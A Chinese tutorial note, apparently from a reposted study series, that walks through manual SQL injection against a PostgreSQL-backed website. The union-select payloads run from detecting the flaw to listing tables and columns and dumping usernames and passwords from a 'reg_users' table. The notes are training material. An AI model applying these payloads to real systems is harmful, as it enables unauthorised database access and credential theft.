某教程学习笔记(一):11、postgreasql数据库注入
  TEZNKK3IfmPf 2023年11月13日 18 0

有时候很想跟她道个歉,遇见她的时候我太小了,是我不注重细节,毁了她好多温柔,是我不会爱人,抱歉。。。

----  网易云热评

一、判断是否存在注入

and 1=2 返回错误

and 1=1 返回正常,存在注入

and 1::int=1 返回正常说明是postgresql数据库

二、判断字段数量

order by 5 返回错误

某教程学习笔记(一):11、postgreasql数据库注入

order by 4 返回正常说明,有四列

某教程学习笔记(一):11、postgreasql数据库注入

 

三、联合查询

union select '1','2','3','4' 可以看出2/3号位置显示

某教程学习笔记(一):11、postgreasql数据库注入

 

四、获取当前数据库

union select '1',current_database(),'3','4'

某教程学习笔记(一):11、postgreasql数据库注入

 

五、获取第一个表

union select '1',relname,'3','4' from  pg_stat_user_tables limit 1 offset 0

某教程学习笔记(一):11、postgreasql数据库注入

获取第二个表

union select '1',relname,relname,'4' from  pg_stat_user_tables limit 1 offset 1

 

六、获取第一个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 0

某教程学习笔记(一):11、postgreasql数据库注入

获取第二个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1

七、获取字段内容

union select '1',''||name||','||password||'','3','4' from  reg_users

某教程学习笔记(一):11、postgreasql数据库注入

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月13日 0

暂无评论

推荐阅读
  TEZNKK3IfmPf   2024年04月26日   57   0   0 java数据库sql
  TEZNKK3IfmPf   2024年05月31日   27   0   0 sqlite数据库
  TEZNKK3IfmPf   2024年05月31日   31   0   0 数据库mysql
  TEZNKK3IfmPf   2024年05月31日   27   0   0 数据库mysql
TEZNKK3IfmPf